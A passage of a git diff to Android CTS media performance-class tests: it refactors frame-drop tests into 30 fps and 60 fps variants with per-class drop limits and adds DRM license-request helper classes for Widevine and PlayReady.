-        resetContext(mIsAsync, false);
-        mAsyncHandle.setCallBack(mCodec, mIsAsync);
-        mCodec.configure(format, null, MediaCodec.CONFIGURE_FLAG_ENCODE, null);
-        long configureTimeStamp = System.nanoTime();
-        mCodec.start();
-        long startTimeStamp = System.nanoTime();
-        if (mIsAsync) {
-            // We will keep on feeding the input to encoder until we see the first dequeued frame.
-            while (!mAsyncHandle.hasSeenError() && !mSawInputEOS) {
-                Pair<Integer, MediaCodec.BufferInfo> element = mAsyncHandle.getWork();
-                if (element != null) {
-                    int bufferID = element.first;
-                    MediaCodec.BufferInfo info = element.second;
-                    if (info != null) {
-                        dequeueTimeStamp = System.nanoTime();
-                        dequeueOutput(bufferID, info);
-                        break;
-                    } else {
-                        if (enqueueTimeStamp == 0) {
-                            enqueueTimeStamp = System.nanoTime();
-                        }
-                        enqueueInput(bufferID);
-                    }
-                }
-            }
-        } else {
-            while (!mSawOutputEOS) {
-                if (!mSawInputEOS) {
-                    int inputBufferId = mCodec.dequeueInputBuffer(Q_DEQ_TIMEOUT_US);
-                    if (inputBufferId > 0) {
-                        if (enqueueTimeStamp == 0) {
-                            enqueueTimeStamp = System.nanoTime();
-                        }
-                        enqueueInput(inputBufferId);
-                    }
-                }
-                int outputBufferId = mCodec.dequeueOutputBuffer(outInfo, Q_DEQ_TIMEOUT_US);
-                if (outputBufferId >= 0) {
-                    dequeueTimeStamp = System.nanoTime();
-                    dequeueOutput(outputBufferId, outInfo);
-                    break;
-                }
-            }
-        }
-        queueEOS();
-        waitForAllOutputs();
-        mCodec.stop();
-        mCodec.release();
-        Log.d(LOG_TAG, "Encode mMime: " + mMime + " Encoder: " + mEncoderName +
-                " Time for (create + configure) in ns: " + (configureTimeStamp - baseTimeStamp));
-        Log.d(LOG_TAG, "Encode mMime: " + mMime + " Encoder: " + mEncoderName +
-                " Time for (create + configure + start) in ns: " +
-                (startTimeStamp - baseTimeStamp));
-        Log.d(LOG_TAG, "Encode mMime: " + mMime + " Encoder: " + mEncoderName +
-                " Time for (create + configure + start + first frame to enqueue) in ns: " +
-                (enqueueTimeStamp - baseTimeStamp));
-        Log.d(LOG_TAG, "Encode mMime: " + mMime + " Encoder: " + mEncoderName +
-                " Time for (create + configure + start + first frame to dequeue) in ns: " +
-                (dequeueTimeStamp - baseTimeStamp));
-        long timeToConfigureMs = (configureTimeStamp - baseTimeStamp) / 1000000;
-        return timeToConfigureMs;
-    }
-}
diff --git a/tests/mediapc/src/android/mediapc/cts/FrameDropTest.java b/tests/mediapc/src/android/mediapc/cts/FrameDropTest.java
index 0bf31d7..b6a752a 100644
--- a/tests/mediapc/src/android/mediapc/cts/FrameDropTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/FrameDropTest.java
@@ -16,25 +16,18 @@
 
 package android.mediapc.cts;
 
-import static org.junit.Assert.assertTrue;
-
+import android.mediapc.cts.common.PerformanceClassEvaluator;
 import android.mediapc.cts.common.Utils;
-import android.os.Build;
-
 import androidx.test.filters.LargeTest;
-import androidx.test.platform.app.InstrumentationRegistry;
-
 import com.android.compatibility.common.util.CddTest;
-import com.android.compatibility.common.util.DeviceReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-
+import java.util.Collection;
+import org.junit.Assume;
+import org.junit.Rule;
 import org.junit.Test;
+import org.junit.rules.TestName;
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized;
 
-import java.util.Collection;
-
 /**
  * The following test class validates the frame drops of a playback for the hardware decoders
  * under the load condition (Transcode + Audio Playback).
@@ -47,6 +40,9 @@
         super(mimeType, decoderName, isAsync);
     }
 
+    @Rule
+    public final TestName mTestName = new TestName();
+
     // Returns the list of parameters with mimeTypes and their hardware decoders
     // combining with sync and async modes.
     // Parameters {0}_{1}_{2} -- Mime_DecoderName_isAsync
@@ -55,34 +51,58 @@
         return prepareArgumentsList(null);
     }
 
+    private int testDecodeToSurface(int frameRate) throws Exception {
+        String[] testFiles = frameRate == 30 ?
+                new String[]{m1080p30FpsTestFiles.get(mMime)} :
+                new String[]{m1080p60FpsTestFiles.get(mMime)};
+        PlaybackFrameDrop playbackFrameDrop = new PlaybackFrameDrop(mMime, mDecoderName, testFiles,
+                mSurface, frameRate, mIsAsync);
+        return playbackFrameDrop.getFrameDropCount();
+    }
+
     /**
      * This test validates that the playback of 1920x1080 resolution asset of 3 seconds duration
-     * at 60 fps for S perf class / 30 fps for R perf class, for at least 30 seconds worth of
-     * frames or for 31 seconds of elapsed time. must not drop more than 6 frames for S perf
-     * class / 3 frames for R perf class.
+     * at 30 fps for R perf class, for at least 30 seconds worth of  frames or for 31 seconds of
+     * elapsed time. must not drop more than 3 frames for R perf class.
      */
     @LargeTest
     @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
     @CddTest(requirement="2.2.7.1/5.3/H-1-1")
-    public void testDecodeToSurface() throws Exception {
-        PlaybackFrameDrop playbackFrameDrop = new PlaybackFrameDrop(mMime, mDecoderName,
-                new String[]{m1080pTestFiles.get(mMime)}, mSurface, FRAME_RATE, mIsAsync);
-        int frameDropCount = playbackFrameDrop.getFrameDropCount();
-        if (Utils.isPerfClass()) {
-            assertTrue("FrameDrop count for mime: " + mMime + ", decoder: " + mDecoderName
-                            + ", FrameRate: " + FRAME_RATE + ", is not as expected. act/exp: "
-                            + frameDropCount + "/" + MAX_FRAME_DROP_FOR_30S,
-                    frameDropCount <= MAX_FRAME_DROP_FOR_30S);
-        } else {
-            int pc = frameDropCount <= MAX_FRAME_DROP_FOR_30S ? Build.VERSION_CODES.R : 0;
-            DeviceReportLog log = new DeviceReportLog("MediaPerformanceClassLogs",
-                    "FrameDrop_" + mDecoderName);
-            log.addValue("decoder", mDecoderName, ResultType.NEUTRAL, ResultUnit.NONE);
-            log.addValue("frame_drops_for_30sec", frameDropCount, ResultType.LOWER_BETTER,
-                    ResultUnit.NONE);
-            log.setSummary("CDD 2.2.7.1/5.3/H-1-1 performance_class", pc, ResultType.NEUTRAL,
-                    ResultUnit.NONE);
-            log.submit(InstrumentationRegistry.getInstrumentation());
-        }
+    public void test30Fps() throws Exception {
+        Assume.assumeTrue("Test is limited to R performance class devices or devices that do not " +
+                        "advertise performance class",
+                Utils.isRPerfClass() || !Utils.isPerfClass());
+        int frameRate = 30;
+
+        PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+        PerformanceClassEvaluator.FrameDropRequirement r5_3__H_1_1_R = pce.addR5_3__H_1_1_R();
+
+        int framesDropped = testDecodeToSurface(frameRate);
+        r5_3__H_1_1_R.setFramesDropped(framesDropped);
+        r5_3__H_1_1_R.setFrameRate(frameRate);
+        pce.submitAndCheck();
+    }
+
+    /**
+     * This test validates that the playback of 1920x1080 resolution asset of 3 seconds duration
+     * at 60 fps for S/T perf class,  for at least 30 seconds worth of  frames or for 31 seconds of
+     * elapsed time. must not drop more than 6 frames for S perf class / 3 frames for T perf class.
+     */
+    @LargeTest
+    @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+    @CddTest(requirement="2.2.7.1/5.3/H-1-1")
+    public void test60Fps() throws Exception {
+        Assume.assumeTrue("Test is limited to S/T performance class devices or devices that do " +
+                        "not advertise performance class",
+                Utils.isSPerfClass() || Utils.isTPerfClass() || !Utils.isPerfClass());
+        int frameRate = 60;
+
+        PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+        PerformanceClassEvaluator.FrameDropRequirement r5_3__H_1_1_ST = pce.addR5_3__H_1_1_ST();
+
+        int framesDropped = testDecodeToSurface(frameRate);
+        r5_3__H_1_1_ST.setFramesDropped(framesDropped);
+        r5_3__H_1_1_ST.setFrameRate(frameRate);
+        pce.submitAndCheck();
     }
 }
diff --git a/tests/mediapc/src/android/mediapc/cts/FrameDropTestBase.java b/tests/mediapc/src/android/mediapc/cts/FrameDropTestBase.java
index 66d2be0..d12a2f2 100644
--- a/tests/mediapc/src/android/mediapc/cts/FrameDropTestBase.java
+++ b/tests/mediapc/src/android/mediapc/cts/FrameDropTestBase.java
@@ -26,6 +26,7 @@
 
 import android.media.MediaFormat;
 import android.mediapc.cts.common.Utils;
+import android.os.Build;
 import android.util.Log;
 import android.view.Surface;
 
@@ -52,9 +53,13 @@
     static final String AAC_LOAD_FILE_NAME = "bbb_1c_128kbps_aac_audio.mp4";
     static final String AVC_LOAD_FILE_NAME = "bbb_1280x720_3mbps_30fps_avc.mp4";
     static final long DECODE_31S = 31000; // In ms
-    static final int MAX_ADAPTIVE_PLAYBACK_FRAME_DROP = 0;
-    static final int FRAME_RATE = Utils.isSPerfClass() ? 60 : 30;
     static final int MAX_FRAME_DROP_FOR_30S;
+    // For perf class R, one frame drop per 10 seconds at 30 fps i.e. 3 drops per 30 seconds
+    static final int MAX_FRAME_DROP_FOR_30S_30FPS_PC_R = 3;
+    // For perf class S, two frame drops per 10 seconds at 60 fps i.e. 6 drops per 30 seconds
+    static final int MAX_FRAME_DROP_FOR_30S_60FPS_PC_S = 6;
+    // For perf class T, one frame drop per 10 seconds at 60 fps i.e. 3 drops per 30 seconds
+    static final int MAX_FRAME_DROP_FOR_30S_60FPS_PC_T = 3;
 
     final String mMime;
     final String mDecoderName;
@@ -70,37 +75,46 @@
     static String AVC_DECODER_NAME;
     static String AVC_ENCODER_NAME;
     static String AAC_DECODER_NAME;
-    static Map<String, String> m540pTestFiles = new HashMap<>();
-    static Map<String, String> m1080pTestFiles = new HashMap<>();
+    static Map<String, String> m540p30FpsTestFiles = new HashMap<>();
+    static Map<String, String> m1080p30FpsTestFiles = new HashMap<>();
+    static Map<String, String> m540p60FpsTestFiles = new HashMap<>();
+    static Map<String, String> m1080p60FpsTestFiles = new HashMap<>();
     static {
-        if (Utils.isSPerfClass()) {
-            // Two frame drops per 10 seconds at 60 fps is 6 drops per 30 seconds
-            MAX_FRAME_DROP_FOR_30S = 6;
-            m540pTestFiles.put(AVC, "bbb_960x540_3mbps_60fps_avc.mp4");
-            m540pTestFiles.put(HEVC, "bbb_960x540_3mbps_60fps_hevc.mp4");
-            m540pTestFiles.put(VP8, "bbb_960x540_3mbps_60fps_vp8.webm");
-            m540pTestFiles.put(VP9, "bbb_960x540_3mbps_60fps_vp9.webm");
-            m540pTestFiles.put(AV1, "bbb_960x540_3mbps_60fps_av1.mp4");
+        m540p60FpsTestFiles.put(AVC, "bbb_960x540_3mbps_60fps_avc.mp4");
+        m540p60FpsTestFiles.put(HEVC, "bbb_960x540_3mbps_60fps_hevc.mp4");
+        m540p60FpsTestFiles.put(VP8, "bbb_960x540_3mbps_60fps_vp8.webm");
+        m540p60FpsTestFiles.put(VP9, "bbb_960x540_3mbps_60fps_vp9.webm");
+        m540p60FpsTestFiles.put(AV1, "bbb_960x540_3mbps_60fps_av1.mp4");
 
-            m1080pTestFiles.put(AVC, "bbb_1920x1080_8mbps_60fps_avc.mp4");
-            m1080pTestFiles.put(HEVC, "bbb_1920x1080_6mbps_60fps_hevc.mp4");
-            m1080pTestFiles.put(VP8, "bbb_1920x1080_8mbps_60fps_vp8.webm");
-            m1080pTestFiles.put(VP9, "bbb_1920x1080_6mbps_60fps_vp9.webm");
-            m1080pTestFiles.put(AV1, "bbb_1920x1080_6mbps_60fps_av1.mp4");
-        } else {
-            // One frame drops per 10 seconds at 30 fps is 3 drops per 30 seconds
-            MAX_FRAME_DROP_FOR_30S = 3;
-            m540pTestFiles.put(AVC, "bbb_960x540_2mbps_30fps_avc.mp4");
-            m540pTestFiles.put(HEVC, "bbb_960x540_2mbps_30fps_hevc.mp4");
-            m540pTestFiles.put(VP8, "bbb_960x540_2mbps_30fps_vp8.webm");
-            m540pTestFiles.put(VP9, "bbb_960x540_2mbps_30fps_vp9.webm");
-            m540pTestFiles.put(AV1, "bbb_960x540_2mbps_30fps_av1.mp4");
+        m1080p60FpsTestFiles.put(AVC, "bbb_1920x1080_8mbps_60fps_avc.mp4");
+        m1080p60FpsTestFiles.put(HEVC, "bbb_1920x1080_6mbps_60fps_hevc.mp4");
+        m1080p60FpsTestFiles.put(VP8, "bbb_1920x1080_8mbps_60fps_vp8.webm");
+        m1080p60FpsTestFiles.put(VP9, "bbb_1920x1080_6mbps_60fps_vp9.webm");
+        m1080p60FpsTestFiles.put(AV1, "bbb_1920x1080_6mbps_60fps_av1.mp4");
 
-            m1080pTestFiles.put(AVC, "bbb_1920x1080_6mbps_30fps_avc.mp4");
-            m1080pTestFiles.put(HEVC, "bbb_1920x1080_4mbps_30fps_hevc.mp4");
-            m1080pTestFiles.put(VP8, "bbb_1920x1080_6mbps_30fps_vp8.webm");
-            m1080pTestFiles.put(VP9, "bbb_1920x1080_4mbps_30fps_vp9.webm");
-            m1080pTestFiles.put(AV1, "bbb_1920x1080_4mbps_30fps_av1.mp4");
+        m540p30FpsTestFiles.put(AVC, "bbb_960x540_2mbps_30fps_avc.mp4");
+        m540p30FpsTestFiles.put(HEVC, "bbb_960x540_2mbps_30fps_hevc.mp4");
+        m540p30FpsTestFiles.put(VP8, "bbb_960x540_2mbps_30fps_vp8.webm");
+        m540p30FpsTestFiles.put(VP9, "bbb_960x540_2mbps_30fps_vp9.webm");
+        m540p30FpsTestFiles.put(AV1, "bbb_960x540_2mbps_30fps_av1.mp4");
+
+        m1080p30FpsTestFiles.put(AVC, "bbb_1920x1080_6mbps_30fps_avc.mp4");
+        m1080p30FpsTestFiles.put(HEVC, "bbb_1920x1080_4mbps_30fps_hevc.mp4");
+        m1080p30FpsTestFiles.put(VP8, "bbb_1920x1080_6mbps_30fps_vp8.webm");
+        m1080p30FpsTestFiles.put(VP9, "bbb_1920x1080_4mbps_30fps_vp9.webm");
+        m1080p30FpsTestFiles.put(AV1, "bbb_1920x1080_4mbps_30fps_av1.mp4");
+
+        switch (Utils.getPerfClass()) {
+            case Build.VERSION_CODES.TIRAMISU:
+                MAX_FRAME_DROP_FOR_30S = MAX_FRAME_DROP_FOR_30S_60FPS_PC_T;
+                break;
+            case Build.VERSION_CODES.S:
+                MAX_FRAME_DROP_FOR_30S = MAX_FRAME_DROP_FOR_30S_60FPS_PC_S;
+                break;
+            case Build.VERSION_CODES.R:
+            default:
+                MAX_FRAME_DROP_FOR_30S = MAX_FRAME_DROP_FOR_30S_30FPS_PC_R;
+                break;
         }
     }
 
@@ -147,7 +161,7 @@
         final String[] mimesList = new String[] {AVC, HEVC, VP8, VP9, AV1};
         for (String mime : mimesList) {
             MediaFormat format = MediaFormat.createVideoFormat(mime, 1920, 1080);
-            format.setInteger(MediaFormat.KEY_FRAME_RATE, FRAME_RATE);
+            format.setInteger(MediaFormat.KEY_FRAME_RATE, 30);
             ArrayList<MediaFormat> formats = new ArrayList<>();
             formats.add(format);
             ArrayList<String> listOfDecoders =
@@ -161,6 +175,18 @@
         return argsList;
     }
 
+    protected int getAchievedPerfClass(int frameRate, int frameDropCount) {
+        int pc = 0;
+        if (frameRate == 30) {
+            pc = frameDropCount <= MAX_FRAME_DROP_FOR_30S_30FPS_PC_R ? Build.VERSION_CODES.R : 0;
+        } else {
+            pc = frameDropCount <= MAX_FRAME_DROP_FOR_30S_60FPS_PC_T ? Build.VERSION_CODES.TIRAMISU
+                    : frameDropCount <= MAX_FRAME_DROP_FOR_30S_60FPS_PC_S ? Build.VERSION_CODES.S
+                    : 0;
+        }
+        return pc;
+    }
+
     private void createSurface() throws InterruptedException {
         mActivityRule.getActivity().waitTillSurfaceIsCreated();
         mSurface = mActivityRule.getActivity().getSurface();
@@ -218,7 +244,6 @@
     private void stopLoad() throws Exception {
         if (mLoadStatus != null) {
             mLoadStatus.setLoadFinished();
-            mLoadStatus = null;
         }
         if (mTranscodeLoadThread != null) {
             mTranscodeLoadThread.join();
@@ -230,5 +255,6 @@
         }
         if (mTranscodeLoadException != null) throw mTranscodeLoadException;
         if (mAudioPlaybackLoadException != null) throw mAudioPlaybackLoadException;
+        mLoadStatus = null;
     }
 }
diff --git a/tests/mediapc/src/android/mediapc/cts/KeyRequester.java b/tests/mediapc/src/android/mediapc/cts/KeyRequester.java
new file mode 100644
index 0000000..eac9dab
--- /dev/null
+++ b/tests/mediapc/src/android/mediapc/cts/KeyRequester.java
@@ -0,0 +1,303 @@
+/*
+ * Copyright (C) 2016 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediapc.cts;
+
+import android.media.MediaDrm;
+import android.media.MediaDrm.MediaDrmStateException;
+import android.media.NotProvisionedException;
+import android.util.Base64;
+import android.util.Log;
+
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Locale;
+import java.util.UUID;
+
+/*
+ * KeyRequester is used to request and update the current set of
+ * keys in the CDM. KeyRequester should not be created, used, and
+ * thrown away. A single KeyRequester should last the same period as
+ * the session as it will track the changes in key servers.
+ */
+public class KeyRequester {
+    private final MediaDrm mDrm;
+    private final UUID mCryptoScheme;
+    private int mKeyType;
+    private byte[] mSessionId;
+    private final byte[] mEmeInitData;
+    private static String mMime = null;
+    private static final String TAG = "KeyRequester";
+    private static final UUID PLAYREADY_UUID = new UUID(0x9A04F07998404286L, 0xAB92E65BE0885F95L);
+    private static final UUID WIDEVINE_UUID = new UUID(0xEDEF8BA979D64ACEL, 0xA3C827DCD51D21EDL);
+    private static final String PLAYREADY_CUSTOM_DATA_KEY = "PRCustomData";
+    private static final int MAX_KEY_REQUEST_ATTEMPTS = 4;
+
+    /*
+     * The server url will change during runtime. The additional URLs will get added through
+     * calls to getDefaultUrl(). We keep the original in mServerUrl as a fallback.
+     */
+    private final String mServerUrl;
+    private Post.Response mResponse = null;
+
+    public KeyRequester(
+            MediaDrm drm,
+            byte[] sessionId,
+            int keyType,
+            String mimeType,
+            byte[] emeInitData,
+            String initialServerUrl) {
+
+        this(drm, sessionId, keyType, mimeType, emeInitData, initialServerUrl, WIDEVINE_UUID);
+    }
+
+    public KeyRequester(
+            MediaDrm drm,
+            byte[] sessionId,
+            int keyType,
+            String mimeType,
+            byte[] emeInitData,
+            String initialServerUrl,
+            UUID cryptoScheme) {
+
+        mDrm = drm;
+        mSessionId = sessionId;
+        mKeyType = keyType;
+        mMime = mimeType;
+        mEmeInitData = emeInitData;
+        mServerUrl = initialServerUrl;
+        mCryptoScheme = cryptoScheme;
+    }
+
+    public MediaDrm.KeyRequest getKeyRequest() throws Exception {
+        HashMap<String, String> optionalKeyRequestParameters = null;
+        return getKeyRequest(optionalKeyRequestParameters);
+    }
+
+    public MediaDrm.KeyRequest getKeyRequest(String customData) throws Exception {
+        HashMap<String, String> optionalKeyRequestParameters = new HashMap<>();
+        optionalKeyRequestParameters.put(PLAYREADY_CUSTOM_DATA_KEY, customData);
+        return getKeyRequest(optionalKeyRequestParameters);
+    }
+
+    public MediaDrm.KeyRequest getKeyRequest(HashMap<String, String> optionalKeyRequestParameters)
+            throws Exception {
+        MediaDrm.KeyRequest keyRequest = null;
+        int tries = 1;
+        boolean needsRetry;
+        do {
+            try {
+                needsRetry = false;
+                if (mEmeInitData == null) {
+                    keyRequest = mDrm.getKeyRequest(
+                            mSessionId,
+                            null,
+                            null,
+                            mKeyType,
+                            optionalKeyRequestParameters);
+                } else {
+                    keyRequest = mDrm.getKeyRequest(
+                            mSessionId,
+                            mEmeInitData,
+                            mMime,
+                            mKeyType,
+                            optionalKeyRequestParameters);
+                }
+            } catch (NotProvisionedException ex) {
+                // From Android 12(/S) onwards, because of the introduction of DRM certificates
+                // expiration, getKeyRequest may be throw NotProvisionedException.
+                // The exception is handled here.
+                if (tries == MAX_KEY_REQUEST_ATTEMPTS) {
+                    throw ex;
+                }
+                // Provision the device
+                new ProvisionRequester(mDrm).send();
+                needsRetry = true;
+                tries++;
+            }
+        } while (needsRetry);
+
+        return keyRequest;
+    }
+
+    public byte[] send() throws Exception {
+        return send(getKeyRequest());
+    }
+
+    public byte[] send(MediaDrm.KeyRequest request) throws Exception {
+        sendRequest(request);
+        return provideResponse();
+    }
+
+    public void sendRequest() throws Exception {
+        sendRequest(getKeyRequest());
+    }
+
+    public void sendRequest(MediaDrm.KeyRequest request) throws Exception {
+
+        String url;
+        String defaultUrl = request.getDefaultUrl();
+
+        // Use mServerUrl for PLAYREADY_UUID.
+        if (!mCryptoScheme.equals(PLAYREADY_UUID) && !defaultUrl.isEmpty()) {
+            url = defaultUrl;
+        } else {
+            url = mServerUrl;
+        }
+
+        try {
+            Log.d(TAG, "CURRENT_URL: " + url);
+            logLicensingRequest(request);
+
+            final Post post = new Post(url, request.getData());
+
+            if (mCryptoScheme.equals(PLAYREADY_UUID)) {
+                post.setProperty("Content-Type", "text/xml");
+                post.setProperty("SOAPAction",
+                        "http://schemas.microsoft.com/DRM/2007/03/protocols/AcquireLicense");
+            } else {
+                post.setProperty("User-Agent", "Widevine CDM v1.0");
+                post.setProperty("Connection", "close");
+                post.setProperty("Accept", "*/*");
+            }
+
+            mResponse = post.send();
+            Log.d(TAG, "RESPONSE_CODE: " + Integer.toString(mResponse.code));
+            logLicensingResponse(mResponse);
+
+            if (mResponse.code != 200) {
+                throw new KeyRequesterException(
+                        mResponse.code,
+                        "Server returned HTTP error code " + mResponse.code,
+                        mResponse.body);
+            }
+
+            if (mResponse.body == null) {
+                throw new KeyRequesterException(
+                        mResponse.code, "No response from license service!", null);
+            }
+
+            if (mResponse.body.length == 0) {
+                throw new KeyRequesterException(
+                        mResponse.code, "Empty response from license service!",
+                        mResponse.body);
+            }
+
+        } catch (Exception e) {
+            Log.e(TAG, "EXCEPTION: " + e.toString());
+            Log.e(TAG, "StackTrace: " + e.fillInStackTrace());
+            throw e;
+        }
+    }
+
+    public byte[] provideResponse() throws Exception {
+
+        byte[] keySetId = null;
+        try {
+            // Additional null check on response to appease "null response" dereference warning.
+            byte[] responseBody =
+                    mResponse != null ? parseResponseBody(mResponse.body) : new byte[0];
+
+            keySetId = mDrm.provideKeyResponse(mSessionId, responseBody);
+        } catch (MediaDrmStateException mdse) {
+            // Test is likely shutting down on main thread, the network thread just needs to return.
+            Log.w(TAG, "MediaDrmStateException received providing key response to MediaDrm. "
+                    + "Likely means the test has completed on the main thread. "
+                    + "Details: " + mdse.fillInStackTrace());
+            return null;
+        }
+
+        if (keySetId == null) {
+            throw new Exception("Received null keySetId from provideKeyResponse.");
+        }
+
+        return keySetId; /* Empty byte array for streaming/release requests, keySetId for offline */
+    }
+
+    // Public due to use in MediaDrmTest
+    public byte[] parseResponseBody(byte[] responseBody) throws Exception {
+        final String bodyString = new String(responseBody, "UTF-8");
+
+        if (!bodyString.startsWith("GLS/")) {
+            return responseBody;
+        }
+
+        if (!bodyString.startsWith("GLS/1.")) {
+            throw new Exception("Invalid server version, expected 1.x");
+        }
+
+        final int drmMessageOffset = bodyString.indexOf("\r\n\r\n");
+
+        if (drmMessageOffset == -1) {
+            throw new Exception("Invalid server response, could not locate drm message");
+        }
+
+        return Arrays.copyOfRange(
+                responseBody,
+                drmMessageOffset + 4,
+                responseBody.length);
+    }
+
+    /*
+     * In the case of offline keys, where the session that first retrieved the keys may not be
+     * the session that uses the keys during playback, need to allow a way to update the
+     * session to use in future license service calls.
+     */
+    public void updateSessionId(byte[] sessionId) {
+        mSessionId = sessionId;
+    }
+
+    public void updateKeyType(int keyType) {
+        mKeyType = keyType;
+    }
+
+    public String getInitialServerUrl() {
+        return mServerUrl;
+    }
+
+    private void logLicensingRequest(MediaDrm.KeyRequest request) {
+        try {
+            String myRequest = Base64.encodeToString(request.getData(), Base64.NO_WRAP);
+            Log.i(TAG, "LICENSE_REQUEST: " + myRequest);
+
+        } catch (Exception ex) {
+            Log.e(TAG,
+                    "LICENSE_REQUEST: Failure to log licensing request. ", ex);
+        }
+    }
+
+    private void logLicensingResponse(Post.Response response) {
+        try {
+            String myResponse;
+            String failed_template = "Response failed with code: %d \n Body: \n%s";
+
+            if ((response.body == null) || (response.body.length == 0)) {
+                myResponse = String.format(
+                        Locale.getDefault(), failed_template, response.code, "NULL or EMPTY");
+            } else if (response.code < 400) {
+                myResponse = Base64.encodeToString(response.body, Base64.NO_WRAP);
+            } else {
+                myResponse = String.format(Locale.getDefault(), failed_template, response.code,
+                        new String(response.body, "UTF-8"));
+            }
+
+            Log.i(TAG, "LICENSE_RESPONSE: " + myResponse);
+
+        } catch (Exception ex) {
+            Log.e(TAG, "LICENSE_RESPONSE: Failure to log licensing response. ", ex);
+        }
+    }
+}
diff --git a/tests/mediapc/src/android/mediapc/cts/KeyRequesterException.java b/tests/mediapc/src/android/mediapc/cts/KeyRequesterException.java
new file mode 100644
index 0000000..f57d3f9
--- /dev/null
+++ b/tests/mediapc/src/android/mediapc/cts/KeyRequesterException.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2018 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediapc.cts;
+
+/*
+ * KeyRequesterException is used to hold data received from the license server response when a key
+ * request fails. This data is used by the ExpectException criteria to validate certain responses
+ * from the license server when invalid Policy configurations are requested in the license request.
+ */
+public class KeyRequesterException extends Exception {
+    private final int mResponseCode;
+    private final String mResponseMessage;
+    private final byte[] mResponseBody;
+
+    public KeyRequesterException(int responseCode, String responseMessage, byte[] responseBody) {
+        mResponseCode = responseCode;
+        mResponseMessage = responseMessage;
+        mResponseBody = responseBody;
+    }
+
+    public int getResponseCode() {
+        return mResponseCode;
+    }
+
+    public String getResponseMessage() {
+        return mResponseMessage;
+    }
+
+    public byte[] getResponseBody() {
+        return mResponseBody;
+    }
+
+    @Override
+    public String getMessage() {
+        return getResponseMessage();
+    }
+}
diff --git a/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java b/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java
index ec27bf9..37f0106 100644
--- a/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java
+++ b/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java
@@ -16,39 +16,48 @@
 
 package android.mediapc.cts;
 
+import static android.media.MediaCodecInfo.CodecCapabilities.FEATURE_SecurePlayback;
+import static android.mediapc.cts.CodecDecoderTestBase.WIDEVINE_UUID;
 import static android.mediapc.cts.CodecTestBase.selectHardwareCodecs;
-
 import static org.junit.Assert.assertTrue;
 
+import android.content.Context;
 import android.media.MediaCodec;
 import android.media.MediaCodecInfo;
 import android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint;
+import android.media.MediaDrm;
 import android.media.MediaFormat;
+import android.media.UnsupportedSchemeException;
 import android.mediapc.cts.common.Utils;
+import android.net.ConnectivityManager;
+import android.net.NetworkCapabilities;
+import android.net.Network;
+import android.os.Build;
 import android.util.Log;
 import android.util.Pair;
-
-import org.junit.Before;
-
 import java.io.IOException;
+import java.net.InetAddress;
+import java.net.Socket;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.HashMap;
 import java.util.List;
 import java.util.Map;
+import org.junit.Assume;
+import org.junit.Before;
 
 public class MultiCodecPerfTestBase {
     private static final String LOG_TAG = MultiCodecPerfTestBase.class.getSimpleName();
     static final boolean[] boolStates = {true, false};
     static final int REQUIRED_MIN_CONCURRENT_INSTANCES = 6;
     static final int REQUIRED_MIN_CONCURRENT_INSTANCES_FOR_VP9 = 2;
-    // allowed tolerance in measured fps vs expected fps in percentage, i.e. codecs achieving fps
-    // that is greater than (FPS_TOLERANCE_FACTOR * expectedFps) will be considered as
-    // passing the test
-    static final double FPS_TOLERANCE_FACTOR = 0.95;
+    static final int REQUIRED_MIN_CONCURRENT_SECURE_INSTANCES = 2;
+
     static ArrayList<String> mMimeList = new ArrayList<>();
     static Map<String, String> mTestFiles = new HashMap<>();
     static Map<String, String> m720pTestFiles = new HashMap<>();
+    static Map<String, String> m1080pTestFiles = new HashMap<>();
+    static Map<String, String> m1080pWidevineTestFiles = new HashMap<>();
 
     static {
         mMimeList.add(MediaFormat.MIMETYPE_VIDEO_AVC);
@@ -57,22 +66,34 @@
         m720pTestFiles.put(MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_1280x720_3mbps_30fps_avc.mp4");
         m720pTestFiles.put(MediaFormat.MIMETYPE_VIDEO_HEVC, "bbb_1280x720_3mbps_30fps_hevc.mp4");
 
-        // Test VP9 and AV1 as well for Build.VERSION_CODES.S
-        if (Utils.isSPerfClass()) {
+        // Test VP9 and AV1 as well for Build.VERSION_CODES.S and beyond
+        if (Utils.getPerfClass() >= Build.VERSION_CODES.S) {
             mMimeList.add(MediaFormat.MIMETYPE_VIDEO_VP9);
             mMimeList.add(MediaFormat.MIMETYPE_VIDEO_AV1);
 
             m720pTestFiles.put(MediaFormat.MIMETYPE_VIDEO_VP9, "bbb_1280x720_3mbps_30fps_vp9.webm");
             m720pTestFiles.put(MediaFormat.MIMETYPE_VIDEO_AV1, "bbb_1280x720_3mbps_30fps_av1.mp4");
         }
